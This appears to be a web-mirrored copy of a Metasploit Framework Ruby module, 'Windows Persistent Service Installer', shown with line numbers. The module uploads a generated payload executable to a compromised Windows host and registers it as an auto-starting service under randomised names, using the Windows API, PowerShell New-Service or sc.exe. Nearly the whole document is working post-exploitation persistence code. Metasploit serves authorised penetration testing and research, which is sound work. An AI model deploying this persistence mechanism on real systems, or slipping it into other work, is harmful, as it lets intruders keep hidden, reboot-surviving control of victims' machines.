Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/persistence/service.rb
27907 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Post::Windows::Services
10
include Msf::Post::File
11
include Msf::Post::Windows::Priv
12
include Post::Windows::Powershell
13
include Msf::Exploit::EXE
14
include Msf::Exploit::Local::Persistence
15
prepend Msf::Exploit::Remote::AutoCheck
16
include Msf::Exploit::Deprecated
17
moved_from 'exploits/windows/local/persistence_service'
18
19
def initialize(info = {})
20
super(
21
update_info(
22
info,
23
'Name' => 'Windows Persistent Service Installer',
24
'Description' => %q{
25
This Module will generate and upload an executable to a remote host.
26
It will create a new service which will start the payload whenever the service is running. Admin or system
27
privilege is required.
28
},
29
'License' => MSF_LICENSE,
30
'Author' => [
31
'Green-m <greenm.xxoo[at]gmail.com>', # original module
32
'h00die' # persistence updates
33
],
34
'Platform' => [ 'windows' ],
35
'Targets' => [['Windows', {}]],
36
'SessionTypes' => [ 'meterpreter' ],
37
'Privileged' => true,
38
'DefaultTarget' => 0,
39
'References' => [
40
['URL', 'https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-service?view=powershell-7.5'],
41
['URL', 'https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754599(v=ws.11)'],
42
['ATT&CK', Mitre::Attack::Technique::T1543_003_WINDOWS_SERVICE],
43
['ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION]
44
],
45
'DisclosureDate' => '2018-10-20',
46
'DefaultOptions' => {
47
'EXITFUNC' => 'process' # process keeps powershell from returning errors on service start
48
},
49
'Notes' => {
50
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
51
'Stability' => [CRASH_SAFE],
52
'SideEffects' => [IOC_IN_LOGS]
53
}
54
)
55
)
56
57
register_options(
58
[
59
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
60
OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]),
61
OptString.new('SERVICE_DISPLAY_NAME', [false, 'The display name of service. Random string as default.']),
62
OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]),
63
OptEnum.new('METHOD', [false, 'Which method to register and start the service', 'Auto', ['Auto', 'API', 'Powershell', 'sc.exe']]),
64
]
65
)
66
end
67
68
def writable_dir
69
d = super
70
return session.sys.config.getenv(d) if d.start_with?('%')
71
72
d
73
end
74
75
def check
76
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
77
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
78
79
return CheckCode::Safe('You must be System/Admin to run this Module') unless is_system? || is_admin?
80
81
CheckCode::Appears('Likely exploitable')
82
end
83
84
def install_persistence
85
fail_with(Msf::Module::Failure::NoAccess, 'Insufficient privileges to create service') unless is_system? || is_admin?
86
87
rexename = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(4..8)
88
@service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(8..12)
89
@service_dname = datastore['SERVICE_DISPLAY_NAME'] || Rex::Text.rand_text_alpha(4..8)
90
@service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..12)
91
92
rexename << '.exe' unless rexename.end_with?('.exe')
93
94
vprint_status('Compiling payload')
95
@dest_pathname = writable_dir + '\\' + rexename
96
exe = generate_payload_exe_service({ servicename: @service_name, arch: payload.arch[0] })
97
write_file(@dest_pathname, exe)
98
print_good("Payload written to #{@dest_pathname}")
99
100
success = false
101
if datastore['METHOD'] == 'API' || datastore['METHOD'] == 'Auto'
102
vprint_status('Attempting API method')
103
success = api_service
104
end
105
if (datastore['METHOD'] == 'Powershell' || datastore['METHOD'] == 'Auto' && !success) && have_powershell?
106
vprint_status('Attempting Powershell method')
107
success = powershell_service
108
end
109
if datastore['METHOD'] == 'sc.exe' || datastore['METHOD'] == 'Auto' && !success
110
vprint_status('Attempting sc.exe method')
111
sc_service
112
end
113
114
@clean_up_rc << "rm \"#{@dest_pathname.gsub('\\', '\\\\\\\\')}\"\n"
115
@clean_up_rc << "execute -H -f sc.exe -a \"stop #{@service_name}\"\n"
116
@clean_up_rc << "execute -H -f sc.exe -a \"delete #{@service_name}\"\n"
117
end
118
119
def powershell_service
120
vprint_status("Install service: #{@service_dname} (#{@service_name})")
121
service_builder = "New-Service -Name '#{@service_name}' "
122
service_builder << "-DisplayName '#{@service_dname}' "
123
service_builder << "-Description '#{@service_description}' "
124
service_builder << "-BinaryPathName '#{@dest_pathname}' "
125
service_builder << '-StartupType Automatic'
126
resp = cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"")
127
return false if resp.include?('Access is denied')
128
return false unless resp.include?('Stopped')
129
130
vprint_status("Service install response: #{resp}")
131
vprint_status('Starting service')
132
resp = cmd_exec("powershell -NoProfile -Command \"Start-Service '#{@service_name}'\"")
133
vprint_status("Service start response: #{resp}")
134
true
135
end
136
137
def sc_service
138
vprint_status("Install service: #{@service_dname} (#{@service_name})")
139
sc_cmd = "sc.exe create #{@service_name} "
140
sc_cmd << "binPath= \"#{@dest_pathname}\" "
141
sc_cmd << 'start= auto '
142
sc_cmd << "DisplayName= \"#{@service_dname}\""
143
resp = cmd_exec(sc_cmd)
144
return false if resp.include?('FAILED')
145
146
vprint_status("Service install response: #{resp}")
147
vprint_status(cmd_exec("sc.exe description #{@service_name} \"#{@service_description}\""))
148
vprint_status('Starting service')
149
resp = cmd_exec("sc.exe start \"#{@service_name}\"")
150
vprint_status("Service start response: #{resp}")
151
true
152
end
153
154
def api_service
155
vprint_status("Install service: #{@service_dname} (#{@service_name})")
156
resp = service_create(@service_name,
157
{
158
display: @service_dname,
159
path: @dest_pathname
160
})
161
return false unless resp == 0
162
163
vprint_status("Service install code: #{resp}")
164
vprint_status('Starting service')
165
vprint_status("Service start code: #{service_start(@service_name)}")
166
true
167
end
168
end
169
170